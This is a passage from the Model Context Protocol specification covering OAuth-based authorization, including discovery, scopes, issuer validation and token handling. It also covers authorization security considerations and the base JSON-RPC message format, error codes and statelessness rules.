MCP clients **MUST** use OAuth 2.0 Protected Resource Metadata for [authorization server discovery](/specification/2026-07-28/basic/authorization/authorization-server-discovery).
5. MCP authorization servers **MUST** provide at least one of the following discovery mechanisms:
* OAuth 2.0 Authorization Server Metadata ([RFC8414](https://datatracker.ietf.org/doc/html/rfc8414))
* [OpenID Connect Discovery 1.0](https://openid.net/specs/openid-connect-discovery-1_0.html)
MCP clients **MUST** support both [discovery mechanisms](/specification/2026-07-28/basic/authorization/authorization-server-discovery#authorization-server-metadata-discovery) to obtain the information required to interact with the authorization server.
## Authorization Server Discovery
MCP servers advertise their associated authorization servers through OAuth 2.0 Protected
Resource Metadata, and MCP clients determine authorization server endpoints and supported
capabilities through authorization server metadata discovery. Implementations **MUST**
follow the normative discovery requirements defined in
[Authorization Server Discovery](/specification/2026-07-28/basic/authorization/authorization-server-discovery).
## Client Registration
Before initiating the authorization flow, MCP clients **MUST** obtain a client ID through
one of three registration mechanisms: Client ID Metadata Documents, pre-registration, or
Dynamic Client Registration, following the requirements and selection priority defined in
[Client Registration](/specification/2026-07-28/basic/authorization/client-registration).
## Scope Selection Strategy
MCP servers **SHOULD** include a `scope` parameter in the `WWW-Authenticate` header as defined in
[RFC 6750 Section 3](https://datatracker.ietf.org/doc/html/rfc6750#section-3)
to indicate the scopes required for accessing the resource. This provides clients with immediate
guidance on the appropriate scopes to request during authorization,
following the principle of least privilege and preventing clients from requesting excessive permissions.
The scopes included in the `WWW-Authenticate` challenge **MAY** match `scopes_supported`, be a subset
or superset of it, or an alternative collection that is neither a strict subset nor
superset. Clients **MUST NOT** assume any particular set relationship between the challenged
scope set and `scopes_supported`. Clients **MUST** treat the scopes provided in the
challenge as authoritative for the current operation. These scopes are required to
satisfy the current request. When re-authorizing, clients **SHOULD** include these scopes
alongside any previously granted scopes to avoid losing permissions needed for other operations
(see [Step-Up Authorization Flow](#step-up-authorization-flow)). Servers **SHOULD** strive for
consistency in how they construct scope sets but they are not required to surface every dynamically
issued scope through `scopes_supported`.
Example 401 response with scope guidance:
```http theme={null}
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer resource_metadata="https://mcp.example.com/.well-known/oauth-protected-resource",
scope="files:read"
```
When implementing authorization flows, MCP clients **SHOULD** follow the principle of least privilege by requesting
only the scopes necessary for their intended operations. During the initial authorization handshake, MCP clients
**SHOULD** follow this priority order for scope selection:
1. **Use `scope` parameter** from the initial `WWW-Authenticate` header in the 401 response, if provided
2. **If `scope` is not available**, use all scopes defined in `scopes_supported` from the Protected Resource Metadata document, omitting the `scope` parameter if `scopes_supported` is undefined.
The `scopes_supported` field is intended to represent the minimal set of scopes necessary
for basic functionality (see [Scope Minimization](/docs/2026-07-28/tutorials/security/security_best_practices#scope-minimization)),
with additional scopes requested incrementally through the step-up authorization flow steps
described in the [Scope Challenge Handling](#scope-challenge-handling) section.
## Authorization Flow Steps
The registration step shown in the flow uses one of the mechanisms defined in
[Client Registration](/specification/2026-07-28/basic/authorization/client-registration).
The complete Authorization flow proceeds as follows:
```mermaid theme={null}
sequenceDiagram
participant B as User-Agent (Browser)
participant C as Client
participant M as MCP Server (Resource Server)
participant A as Authorization Server
C->>M: MCP request without token
M->>C: HTTP 401 Unauthorized with WWW-Authenticate header
Note over C: Extract resource_metadata URL from WWW-Authenticate
C->>M: Request Protected Resource Metadata
M->>C: Return metadata
Note over C: Parse metadata and extract authorization server(s) Client determines AS to use
C->>A: GET Authorization server metadata endpoint
Note over C,A: Try OAuth 2.0 and OpenID Connect discovery endpoints in priority order
A-->>C: Authorization server metadata
alt Client ID Metadata Documents
Note over C: Client uses HTTPS URL as client_id
Note over A: Server detects URL-formatted client_id
A->>C: Fetch metadata from client_id URL
C-->>A: JSON metadata document
Note over A: Validate metadata and redirect_uris
else Dynamic client registration
C->>A: POST /register
A->>C: Client Credentials
else Pre-registered client
Note over C: Use existing client_id
end
Note over C: Generate PKCE parameters Include resource parameter Apply scope selection strategy Record expected issuer
C->>B: Open browser with authorization URL + code_challenge + resource
B->>A: Authorization request with resource parameter
Note over A: User authorizes
A->>B: Redirect to callback with authorization code + iss
B->>C: Authorization code callback
Note over C: Validate iss against recorded issuer (RFC 9207)
C->>A: Token request + code_verifier + resource
A->>C: Access token (+ refresh token)
C->>M: MCP request with access token
M-->>C: MCP response
Note over C,M: MCP communication continues with valid token
```
### Authorization Response Validation
Before redirecting the user-agent, the client **MUST** record the `issuer` value from the selected authorization server's validated metadata document (see [Authorization Server Metadata Discovery](/specification/2026-07-28/basic/authorization/authorization-server-discovery#authorization-server-metadata-discovery)) and associate it with the same per-request record used to store the PKCE code verifier (and the `state` value, if used). The validation in this section depends on that recorded value being authentic; it provides no protection if the expected issuer was obtained from an unvalidated source.
MCP authorization servers **SHOULD** include the `iss` parameter in authorization responses, including error responses, as defined in [RFC9207 Section 2](https://datatracker.ietf.org/doc/html/rfc9207#section-2). Authorization servers that include the `iss` parameter **MUST** advertise this by setting `authorization_response_iss_parameter_supported` to `true` in their metadata ([RFC9207 Section 2.3](https://datatracker.ietf.org/doc/html/rfc9207#section-2.3)).
On receiving the authorization response, MCP clients **MUST** apply the validation in [RFC9207 Section 2.4](https://datatracker.ietf.org/doc/html/rfc9207#section-2.4) before transmitting the authorization code to any token endpoint:
| `authorization_response_iss_parameter_supported` | `iss` in response | Client action |
| ------------------------------------------------ | ----------------- | ------------------------------------------------------------------------------------------ |
| `true` | present | Compare to the recorded issuer using simple string comparison ([RFC3986 Section 6.2.1][1]) |
| `true` | absent | Reject the response |
| `false` or absent | present | Compare to the recorded issuer using simple string comparison ([RFC3986 Section 6.2.1][1]) |
| `false` or absent | absent | Proceed |
[1]: https://datatracker.ietf.org/doc/html/rfc3986#section-6.2.1
The third row applies the local-policy provision in [RFC9207 Section 2.4](https://datatracker.ietf.org/doc/html/rfc9207#section-2.4): this specification compares a present `iss` against the recorded issuer regardless of metadata advertisement, to accommodate authorization servers that emit `iss` before updating their metadata.
A future revision of this specification is expected to upgrade authorization server inclusion of `iss` from **SHOULD** to **MUST**. Implementers are encouraged to emit and validate `iss` now to ease that transition; client rejection behavior on `iss` absence will continue to be keyed on `authorization_response_iss_parameter_supported` until that revision defines the upgrade path.
After decoding the `iss` value from the `application/x-www-form-urlencoded` response per [RFC 9207 Section 2.4](https://datatracker.ietf.org/doc/html/rfc9207#section-2.4), clients **MUST NOT** apply scheme or host case folding, default-port elision, trailing-slash, or percent-encoding normalization ([RFC 3986 Sections 6.2.2-6.2.3](https://datatracker.ietf.org/doc/html/rfc3986#section-6.2.2)) before comparison.
This validation applies equally to error responses - on mismatch the client **MUST NOT** act on or display `error`, `error_description`, or `error_uri`.
## Resource Parameter Implementation
MCP clients **MUST** implement Resource Indicators for OAuth 2.0 as defined in [RFC 8707](https://www.rfc-editor.org/rfc/rfc8707.html)
to explicitly specify the target resource for which the token is being requested. The `resource` parameter:
1. **MUST** be included in both authorization requests and token requests.
2. **MUST** identify the MCP server that the client intends to use the token with.
3. **MUST** use the canonical URI of the MCP server as defined in [RFC 8707 Section 2](https://www.rfc-editor.org/rfc/rfc8707.html#name-access-token-request).
### Canonical Server URI
For the purposes of this specification, the canonical URI of an MCP server is defined as the resource identifier as specified in
[RFC 8707 Section 2](https://www.rfc-editor.org/rfc/rfc8707.html#section-2) and aligns with the `resource` parameter in
[RFC 9728](https://datatracker.ietf.org/doc/html/rfc9728).
MCP clients **SHOULD** provide the most specific URI that they can for the MCP server they intend to access, following the guidance in [RFC 8707](https://www.rfc-editor.org/rfc/rfc8707). While the canonical form uses lowercase scheme and host components, implementations **SHOULD** accept uppercase scheme and host components for robustness and interoperability.
Examples of valid canonical URIs:
* `https://mcp.example.com/mcp`
* `https://mcp.example.com`
* `https://mcp.example.com:8443`
* `https://mcp.example.com/server/mcp` (when path component is necessary to identify individual MCP server)
Examples of invalid canonical URIs:
* `mcp.example.com` (missing scheme)
* `https://mcp.example.com#fragment` (contains fragment)
> **Note:** While both `https://mcp.example.com/` (with trailing slash) and `https://mcp.example.com` (without trailing slash) are technically valid absolute URIs according to [RFC 3986](https://www.rfc-editor.org/rfc/rfc3986), implementations **SHOULD** consistently use the form without the trailing slash for better interoperability unless the trailing slash is semantically significant for the specific resource.
For example, if accessing an MCP server at `https://mcp.example.com`, the authorization request would include:
```
&resource=https%3A%2F%2Fmcp.example.com
```
MCP clients **MUST** send this parameter regardless of whether authorization servers support it.
## Access Token Usage
### Token Requirements
Access token handling when making requests to MCP servers **MUST** conform to the requirements defined in
[OAuth 2.1 Section 5 "Resource Requests"](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-5).
Specifically:
1. MCP client **MUST** use the Authorization request header field defined in
[OAuth 2.1 Section 5.1.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-5.1.1):
```
Authorization: Bearer
```
Note that authorization **MUST** be included in every HTTP request from client to server.
2. Access tokens **MUST NOT** be included in the URI query string
Example request:
```http theme={null}
GET /mcp HTTP/1.1
Host: mcp.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
```
### Token Handling
MCP servers, acting in their role as an OAuth 2.1 resource server, **MUST** validate access tokens as described in
[OAuth 2.1 Section 5.2](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-5.2).
MCP servers **MUST** validate that access tokens were issued specifically for them as the intended audience,
according to [RFC 8707 Section 2](https://www.rfc-editor.org/rfc/rfc8707.html#section-2).
If validation fails, servers **MUST** respond according to
[OAuth 2.1 Section 5.3](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-5.3)
error handling requirements. Invalid or expired tokens **MUST** receive a HTTP 401
response.
MCP clients **MUST NOT** send tokens to the MCP server other than ones issued by the MCP server's authorization server.
MCP servers **MUST** only accept tokens that are valid for use with their
own resources.
MCP servers **MUST NOT** accept or transit any other tokens.
## Refresh Tokens
This section provides guidance for MCP Clients and MCP Servers when handling or issuing
refresh tokens for both OAuth and OpenID Connect.
**MCP Clients** that desire refresh tokens:
* **MUST** keep refresh tokens confidential in transit and storage as specified in [OAuth 2.1 Section 4.3](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-14#section-4.3)
* **SHOULD** include `refresh_token` in their `grant_types` client metadata
* **MAY** add `offline_access` to the `scope` parameter of the authorization and token requests when the Authorization Server metadata contains it in `scopes_supported`
* **MUST NOT** assume refresh tokens will be issued; the AS retains discretion
**MCP Servers** (Protected Resources) **SHOULD NOT** include `offline_access` in
`WWW-Authenticate` scope or Protected Resource Metadata `scopes_supported`, as refresh
tokens are not a resource requirement.
## Error Handling
Servers **MUST** return appropriate HTTP status codes for authorization errors:
| Status Code | Description | Usage |
| ----------- | ------------ | ------------------------------------------ |
| 401 | Unauthorized | Authorization required or token invalid |
| 403 | Forbidden | Invalid scopes or insufficient permissions |
| 400 | Bad Request | Malformed authorization request |
### Scope Challenge Handling
This section covers handling insufficient scope errors during runtime operations when
a client already has a token but needs additional permissions. This follows the error
handling patterns defined in [OAuth 2.1 Section 5](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-5)
and leverages the metadata fields from [RFC 9728 (OAuth 2.0 Protected Resource Metadata)](https://datatracker.ietf.org/doc/html/rfc9728).
#### Runtime Insufficient Scope Errors
When a client makes a request with an access token with insufficient
scope during runtime operations, the server **SHOULD** respond with:
* `HTTP 403 Forbidden` status code (per [RFC 6750 Section 3.1](https://datatracker.ietf.org/doc/html/rfc6750#section-3.1))
* `WWW-Authenticate` header with the `Bearer` scheme and additional parameters:
* `error="insufficient_scope"` - indicating the specific type of authorization failure
* `scope="required_scope1 required_scope2"` - specifying the minimum scopes needed for the operation
* `resource_metadata` - the URI of the Protected Resource Metadata document (for consistency with 401 responses)
* `error_description` (optional) - human-readable description of the error
**Server Scope Management**: When responding with insufficient scope errors, servers
**SHOULD** include the scopes needed to satisfy the current operation in the `scope`
parameter, consistent with
[RFC 6750 Section 3.1](https://datatracker.ietf.org/doc/html/rfc6750#section-3.1).
The `scope` attribute describes the scopes necessary to access
the requested resource — servers are not required to include
the client's previously granted scopes.
Whatever scope-inclusion strategy a server adopts, servers **SHOULD** include all
scopes required for the current operation in a single challenge.
Challenging incrementally (returning one missing scope, then another
on the subsequent retry) forces multiple authorization round-trips
for a single operation and degrades user experience. The required
scopes may be determined dynamically based on the specific request
arguments and context, but once determined, they should be emitted
together.
Servers **SHOULD** be consistent in their scope inclusion strategy to provide predictable behavior for clients.
Servers **SHOULD** consider the user experience impact when determining which scopes to include in the
response, as misconfigured scopes may require frequent user interaction.
Scope accumulation across operations is a client-side responsibility. See the
[Step-Up Authorization Flow](#step-up-authorization-flow) for the scope-union requirement.
Example insufficient scope response:
```http theme={null}
HTTP/1.1 403 Forbidden
WWW-Authenticate: Bearer error="insufficient_scope",
scope="files:write",
resource_metadata="https://mcp.example.com/.well-known/oauth-protected-resource",
error_description="File write permission required for this operation"
```
#### Step-Up Authorization Flow
Clients will receive scope-related errors during initial authorization or at runtime (`insufficient_scope`).
Clients **SHOULD** respond to these errors by requesting a new access token with an increased set of scopes via a step-up authorization flow or handle the errors in other, appropriate ways.
Clients acting on behalf of a user **SHOULD** attempt the step-up authorization flow. Clients acting on their own behalf (`client_credentials` clients)
**MAY** attempt the step-up authorization flow or abort the request immediately.
The flow is as follows:
1. **Parse error information** from the authorization server response or `WWW-Authenticate` header
2. **Determine required scopes** by computing the union of the
client's previously requested scope set and the scopes from
the current challenge. This ensures previously granted
permissions are preserved when servers emit per-operation
scope challenges per
[RFC 6750 Section 3.1](https://datatracker.ietf.org/doc/html/rfc6750#section-3.1).
Clients **MAY** also consult the
[Scope Selection Strategy](#scope-selection-strategy) for
initial scope selection guidance.
3. **Initiate (re-)authorization** with the determined scope set
4. **Retry the original request** with the new authorization no more than a few times and treat this as a permanent authorization failure
Clients **SHOULD** implement retry limits and **SHOULD** track scope upgrade attempts to avoid
repeated failures for the same resource and operation combination.
Servers **MUST** account for scope hierarchies, where a broader scope implies narrower ones, when
deciding whether a token is sufficient for an operation.
## Security Considerations
Implementations of this specification **MUST** follow the normative security
requirements in [Security Considerations](/specification/2026-07-28/basic/authorization/security-considerations),
covering token audience binding and validation, token theft, communication security,
authorization code protection, mix-up and confused deputy attacks, open redirection,
and Client ID Metadata Document security.
## MCP Authorization Extensions
There are several authorization extensions to the core protocol that define additional authorization mechanisms. These extensions are:
* **Optional** - Implementations can choose to adopt these extensions
* **Additive** - Extensions do not modify or break core protocol functionality; they add new capabilities while preserving core protocol behavior
* **Composable** - Extensions are modular and designed to work together without conflicts, allowing implementations to adopt multiple extensions simultaneously
* **Versioned independently** - Extensions follow the core MCP versioning cycle but may adopt independent versioning as needed
A list of supported extensions can be found in the [MCP Authorization Extensions](https://github.com/modelcontextprotocol/ext-auth) repository.
# Authorization Security Considerations
Source: https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization/security-considerations
This document outlines security requirements that implementers **MUST** consider when
building MCP clients and servers.
Additionally, implementors **MUST** follow OAuth 2.1 security best practices as outlined in
[OAuth 2.1 Section 7. "Security Considerations"](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#name-security-considerations).
## Token Audience Binding and Validation
[RFC 8707](https://www.rfc-editor.org/rfc/rfc8707.html) Resource Indicators provide critical security benefits by binding tokens to their intended
audiences **when the Authorization Server supports the capability**. To enable current and future adoption:
* MCP clients **MUST** include the `resource` parameter in authorization and token requests as specified in the [Resource Parameter Implementation](/specification/2026-07-28/basic/authorization#resource-parameter-implementation) section
* MCP servers **MUST** validate that tokens presented to them were specifically issued for their use
The [Security Best Practices document](/docs/2026-07-28/tutorials/security/security_best_practices#token-passthrough)
outlines why token audience validation is crucial and why token passthrough is explicitly forbidden.
## Token Theft
Attackers who obtain tokens stored by the client, or tokens cached or logged on the server can access protected resources with
requests that appear legitimate to resource servers.
Clients and servers **MUST** implement secure token storage and follow OAuth best practices,
as outlined in [OAuth 2.1, Section 7.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-7.1).
Authorization servers **SHOULD** issue short-lived access tokens to reduce the impact of leaked tokens.
For public clients, authorization servers **MUST** rotate refresh tokens as described in [OAuth 2.1 Section 4.3.1 "Token Endpoint Extension"](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-4.3.1).
## Communication Security
Implementations **MUST** follow [OAuth 2.1 Section 1.5 "Communication Security"](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-1.5).
Specifically:
1. All authorization server endpoints **MUST** be served over HTTPS.
2. All redirect URIs **MUST** be either `localhost` or use HTTPS.
## Authorization Code Protection
An attacker who has gained access to an authorization code contained in an authorization response can try to redeem the authorization code for an access token or otherwise make use of the authorization code.
(Further described in [OAuth 2.1 Section 7.5](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-7.5))
To mitigate this, MCP clients **MUST** implement PKCE according to [OAuth 2.1 Section 7.5.2](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-7.5.2) and **MUST** verify PKCE support before proceeding with authorization.
PKCE helps prevent authorization code interception and injection attacks by requiring clients to create a secret verifier-challenge pair, ensuring that only the original requestor can exchange an authorization code for tokens.
MCP clients **MUST** use the `S256` code challenge method when technically capable, as required by [OAuth 2.1 Section 4.1.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-4.1.1).
Since OAuth 2.1 and PKCE specifications do not define a mechanism for clients to discover PKCE support, MCP clients **MUST** rely on authorization server metadata to verify this capability:
* **OAuth 2.0 Authorization Server Metadata**: If `code_challenge_methods_supported` is absent, the authorization server does not support PKCE and MCP clients **MUST** refuse to proceed.
* **OpenID Connect Discovery 1.0**: While the [OpenID Provider Metadata](https://openid.net/specs/openid-connect-discovery-1_0.html#ProviderMetadata) does not define `code_challenge_methods_supported`, this field is commonly included by OpenID providers. MCP clients **MUST** verify the presence of `code_challenge_methods_supported` in the provider metadata response. If the field is absent, MCP clients **MUST** refuse to proceed.
Authorization servers providing OpenID Connect Discovery 1.0 **MUST** include `code_challenge_methods_supported` in their metadata to ensure MCP compatibility.
## Mix-Up Attacks
An attacker that controls one of the authorization servers an MCP client interacts with may attempt to have the client send it an authorization code or token issued by a different, honest authorization server (a mix-up attack, described in [RFC9207 Section 1](https://datatracker.ietf.org/doc/html/rfc9207#section-1)). [Authorization Response Validation](/specification/2026-07-28/basic/authorization#authorization-response-validation) specifies the required mitigation.
## Open Redirection
An attacker may craft malicious redirect URIs to direct users to phishing sites.
MCP clients **MUST** have redirect URIs registered with the authorization server.
Authorization servers **MUST** validate exact redirect URIs against pre-registered values to prevent redirection attacks.
MCP clients **SHOULD** use and verify state parameters in the authorization code flow
and discard any results that do not include or have a mismatch with the original state.
Authorization servers **MUST** take precautions to prevent redirecting user agents to untrusted URI's, following suggestions laid out in [OAuth 2.1 Section 7.12.2](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-7.12.2)
Authorization servers **SHOULD** only automatically redirect the user agent if it trusts the redirection URI. If the URI is not trusted, the authorization server MAY inform the user and rely on the user to make the correct decision.
## Client ID Metadata Document Security
When implementing [Client ID Metadata Documents](/specification/2026-07-28/basic/authorization/client-registration#client-id-metadata-documents), authorization servers **MUST** consider the security implications
detailed in [OAuth Client ID Metadata Document, Section 6](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-client-id-metadata-document-00#name-security-considerations).
Key considerations include:
### Authorization Server Abuse Protection
Authorization servers fetching metadata documents **SHOULD** consider
[Server-Side Request Forgery (SSRF)](https://developer.mozilla.org/docs/Web/Security/Attacks/SSRF) risks, as described in [OAuth Client ID Metadata Document: Server Side Request Forgery (SSRF) Attacks](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-client-id-metadata-document-00#name-server-side-request-forgery).
### Localhost Redirect URI Risks
Client ID Metadata Documents cannot prevent `localhost` URL impersonation by themselves.
Authorization servers:
* **SHOULD** display additional warnings for `localhost`-only redirect URIs
* **MAY** require additional attestation mechanisms for enhanced security
* **MUST** clearly display the redirect URI hostname during authorization
### Trust Policies
Authorization servers **MAY** implement domain-based trust policies for accepting Client ID Metadata Documents, as described in [Section 6.4](https://www.ietf.org/archive/id/draft-ietf-oauth-client-id-metadata-document-00.html#section-6.4) and [Section 6.8](https://www.ietf.org/archive/id/draft-ietf-oauth-client-id-metadata-document-00.html#section-6.8) of the Client ID Metadata Document specification.
## Confused Deputy Problem
Attackers can exploit MCP servers acting as intermediaries to third-party APIs, leading to [confused deputy vulnerabilities](/docs/2026-07-28/tutorials/security/security_best_practices#confused-deputy-problem).
By using stolen authorization codes, they can obtain access tokens without user consent.
MCP proxy servers using static client IDs **MUST** obtain user consent for each
[dynamically registered client](/specification/2026-07-28/basic/authorization/client-registration#dynamic-client-registration)
before forwarding to third-party authorization servers (which may require additional consent).
## Access Token Privilege Restriction
An attacker can gain unauthorized access or otherwise compromise an MCP server if the server accepts tokens issued for other resources.
MCP servers **MUST** validate access tokens before processing the request, ensuring the access token is issued specifically for the MCP server, and take all necessary steps to ensure no data is returned to unauthorized parties.
A MCP server **MUST** follow the guidelines in [OAuth 2.1 - Section 5.2](https://www.ietf.org/archive/id/draft-ietf-oauth-v2-1-13.html#section-5.2) to validate inbound tokens.
MCP servers **MUST** only accept tokens specifically intended for themselves and **MUST** reject tokens that do not include them in the audience claim or otherwise verify that they are the intended recipient of the token. See the [Security Best Practices Token Passthrough section](/docs/2026-07-28/tutorials/security/security_best_practices#token-passthrough) for details.
If the MCP server makes requests to upstream APIs, it may act as an OAuth client to them. The access token used at the upstream API is a separate token, issued by the upstream authorization server. The MCP server **MUST NOT** pass through the token it received from the MCP client.
MCP clients **MUST** implement and use the `resource` parameter as defined in [RFC 8707 - Resource Indicators for OAuth 2.0](https://www.rfc-editor.org/rfc/rfc8707.html)
to explicitly specify the target resource for which the token is being requested. This requirement aligns with the recommendation in
[RFC 9728 Section 7.4](https://datatracker.ietf.org/doc/html/rfc9728#section-7.4). This ensures that access tokens are bound to their intended resources and
cannot be misused across different services.
# Overview
Source: https://modelcontextprotocol.io/specification/2026-07-28/basic/index
The Model Context Protocol consists of several key components that work together:
* **Base Protocol**: Core JSON-RPC message types
* **Versioning and Compatibility**: Protocol version negotiation, extension negotiation, and interoperability with earlier protocol revisions
* **Message Patterns**: Messaging patterns supported by the core protocol including request and response, multi round-trip requests (MRTR), and subscribe and notify
* **Authorization**: Authentication and authorization framework for HTTP-based transports
* **Server Features**: Resources, prompts, and tools exposed by servers
* **Client Features**: Elicitation, sampling and root directory lists provided by clients
* **Utilities**: Cross-cutting concerns like logging and argument completion
All implementations **MUST** support the base protocol, versioning,
and the message patterns. Other components **MAY** be implemented based on the specific needs of the
application.
These protocol layers establish clear separation of concerns while enabling rich
interactions between clients and servers. The modular design allows implementations to
support exactly the features they need.
## Messages
All messages between MCP clients and servers **MUST** follow the
[JSON-RPC 2.0](https://www.jsonrpc.org/specification) specification. The protocol defines
these types of messages:
### Requests
[Requests](/specification/2026-07-28/schema#jsonrpcrequest) are sent from the client to the server, to initiate an operation.
```typescript theme={null}
{
jsonrpc: "2.0";
id: string | number;
method: string;
params?: {
[key: string]: unknown;
};
}
```
* Requests **MUST** include a string or integer ID.
* Unlike base JSON-RPC, the ID **MUST NOT** be `null`.
* The request ID **MUST NOT** match the ID of any other request the sender has issued and
not yet received a response for.
### Responses
Responses are sent in reply to requests, containing either the result or error of the operation.
#### Result Responses
[Result responses](/specification/2026-07-28/schema#jsonrpcresultresponse) are sent when the operation completes successfully.
```typescript theme={null}
{
jsonrpc: "2.0";
id: string | number;
result: {
resultType: string;
[key: string]: unknown;
};
}
```
* Result responses **MUST** include the same ID as the request they correspond to.
* Result responses **MUST** include a `result` field.
* The `result` **MAY** follow any JSON object structure.
* The `result` **MUST** include a `resultType` field to indicate the type of the result.
##### ResultType
The `resultType` field in a result indicates the type of the result being returned. MCP supports polymorphic result types,
allowing servers to return different structures based on the outcome of the request. The `resultType` field is a string that clients
can use to determine how to parse and handle the `result` object.
* A `resultType` of `"complete"` indicates the request completed successfully and the result contains the final content.
* A `resultType` of `"input_required"` indicates the request is incomplete and more information is needed to process the request. The result contains an [`InputRequiredResult`](/specification/2026-07-28/basic/patterns/mrtr#inputrequiredresult) object with additional information needed.
* Extensions **MAY** add additional `ResultType` values. The set of supported `ResultType` values **MUST** be created from the set defined in the core protocol and include any additional values of supported extensions that are advertised via capabilities.
* A `resultType` of any value unrecognized by the client **MUST** be considered invalid.
* For backward compatibility with servers implementing earlier protocol versions, which do not include `resultType`, clients **MUST** treat an absent `resultType` as `"complete"`.
#### Error Responses
[Error responses](/specification/2026-07-28/schema#jsonrpcerrorresponse) are sent when the operation fails or encounters an error.
```typescript theme={null}
{
jsonrpc: "2.0";
id?: string | number;
error: {
code: number;
message: string;
data?: unknown;
}
}
```
* Error responses **MUST** include the same ID as the request they correspond to (except in error cases where the ID could not be read due a malformed request).
* Error responses **MUST** include an `error` field with a `code` and `message`.
* Error codes **MUST** be integers.
* Error responses **MAY** include a `data` member with additional information of any type, such
as nested errors.
#### Error Codes
MCP uses the standard JSON-RPC 2.0 error codes (`-32700`, `-32600` to `-32603`)
for general protocol failures.
JSON-RPC 2.0 reserves the range `-32000` to `-32099` for implementation-defined
server errors. MCP partitions this range as follows:
* **`-32000` to `-32019` — legacy.** Codes in this sub-range were allocated by
implementations before this policy was introduced. New codes **MUST NOT** be
allocated in this sub-range, and new implementations **SHOULD NOT** use codes
from this sub-range at all. Apart from `-32002` (see below), receivers
**MUST NOT** assume any specific meaning for these codes.
* **`-32020` to `-32099` — reserved for the MCP specification.** Error codes
in this sub-range are defined exclusively by the MCP specification and
recorded in the [schema](/specification/2026-07-28/schema). Implementations
**MUST NOT** emit any code from this sub-range that is not defined by this
specification and **MUST** use defined codes only with their specified
meanings.
MCP defines the following error codes:
| Code | Name |
| -------- | ---------------------------------------------------------------------------------------------------------- |
| `-32020` | [`HeaderMismatch`](/specification/2026-07-28/schema#headermismatcherror) |
| `-32021` | [`MissingRequiredClientCapability`](/specification/2026-07-28/schema#missingrequiredclientcapabilityerror) |
| `-32022` | [`UnsupportedProtocolVersion`](/specification/2026-07-28/schema#unsupportedprotocolversionerror) |
Codes defined by earlier protocol versions remain reserved and will not be
reused. Implementations of this protocol version **MUST NOT** emit these codes:
* `-32002` — resource not found (2025-11-25 and earlier; replaced by `-32602`).
Clients [**SHOULD** still
accept `-32002`](/specification/2026-07-28/server/resources#error-handling) from
servers implementing earlier versions.
* `-32042` — URL elicitation required (2025-11-25 only).
Errors that are purely local to an implementation (for example, a request
timeout raised inside an SDK) are not currently assigned codes by this
specification. Implementations surfacing local errors in JSON-RPC-shaped
structures should ensure they cannot be mistaken for errors received from the
peer. Future versions of the specification may define standard codes for
common local error conditions in the reserved sub-range.
New error codes for purposes not defined by this specification **SHOULD** be
allocated outside the JSON-RPC reserved range (`-32768` to `-32000`); the
remainder of the integer space is available for application-defined errors.
### Notifications
[Notifications](/specification/2026-07-28/schema#jsonrpcnotification) are sent from the client to the server or vice versa, as a one-way message.
The receiver **MUST NOT** send a response.
```typescript theme={null}
{
jsonrpc: "2.0";
method: string;
params?: {
[key: string]: unknown;
};
}
```
* Notifications **MUST NOT** include an ID.
### Message Patterns
The Model Context Protocol (MCP) supports several [Message Patterns](/specification/2026-07-28/basic/patterns) that define how clients and servers interact:
1. **[Request and Response](/specification/2026-07-28/basic/patterns#request-and-response)**: A client sends a request to the server, and the server responds with a result or error.
2. **[Multi Round-Trip Requests (MRTR)](/specification/2026-07-28/basic/patterns#multi-round-trip-requests)**: A server requires additional client input (sampling, elicitation, or roots) to complete a request.
3. **[Subscribe and Notify](/specification/2026-07-28/basic/patterns#subscribe-and-notify)**: A client subscribes to a stream of notifications from the server, which are sent as they occur.
## Statelessness
The Model Context Protocol (MCP) is a **stateless protocol**: all the
information needed to process a request is contained in the request itself.
A server processes each request independently; no state should be inferred
from previous requests, even those on the same connection or stream.
Specifically:
* Servers **MUST NOT** rely on prior requests over the same connection to
establish context (e.g., capabilities, protocol version, client identity).
Every request supplies this metadata in its [`_meta`](#_meta) field.
* Servers **SHOULD** be prepared to handle requests associated with multiple
tasks, threads, or conversations.
* Servers **SHOULD NOT** require that a client reuse the same connection or process to
perform related operations.
* Clients **SHOULD NOT** use an individual task, thread, or conversation as the
lifetime boundary for the stdio process.
* State that needs to span multiple requests (e.g., long-running tasks,
application-level handles) **MUST** be referenced by an explicit identifier
the client passes on each request.
This implies that an open connection, such as a STDIO process, is not a
conversation or session: clients may interleave unrelated requests on the same
transport, and a server must not treat connection or process identity as a
proxy for conversation or session continuity.
Long-lived requests like
[`subscriptions/listen`](/specification/2026-07-28/basic/patterns/subscriptions)
remain request/response; the response is just an open stream of notifications.
Their state is scoped to the request itself, not to the connection underneath.
For a walkthrough of how the per-request model maps to SDK code, see the
[Architecture guide](/docs/2026-07-28/learn/architecture#example).
## Auth
MCP provides an [Authorization](/specification/2026-07-28/basic/authorization) framework for use with HTTP.
Implementations using an HTTP-based transport **SHOULD** conform to this specification,
whereas implementations using STDIO transport **SHOULD NOT** follow this specification,
and instead retrieve credentials from the environment.
Additionally, clients and servers **MAY** negotiate their own custom authentication and
authorization strategies.
For further discussions and contributions to the evolution of MCP's auth mechanisms, join
us in
[GitHub Discussions](https://github.com/modelcontextprotocol/specification/discussions)
to help shape the future of the protocol!
## Schema
The full specification of the protocol is defined as a
[TypeScript schema](https://github.com/modelcontextprotocol/specification/blob/main/schema/2026-07-28/schema.ts).
This is the source of truth for all protocol messages and structures.
There is also a
